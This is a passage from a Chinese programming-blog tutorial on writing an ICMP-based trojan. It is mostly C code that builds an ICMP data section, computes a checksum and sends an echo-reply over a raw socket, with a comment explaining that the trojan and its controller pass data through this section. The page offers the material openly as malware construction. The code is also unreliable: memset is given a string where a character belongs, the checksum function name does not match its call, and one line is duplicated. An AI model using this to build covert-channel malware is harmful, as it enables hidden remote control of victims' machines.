龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > VC开发 >

基于ICMP的木马的编写!!!!!!(3)

时间:2009-12-30 15:42来源:未知 作者:admin 点击:
分享到:
datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控制端之间就是通过数据段传递数据的。

}

  再使用CheckSum子程序计算ICMP校验和:

   调用方法:

((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);

CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它

  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:

  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

精彩图集

赞助商链接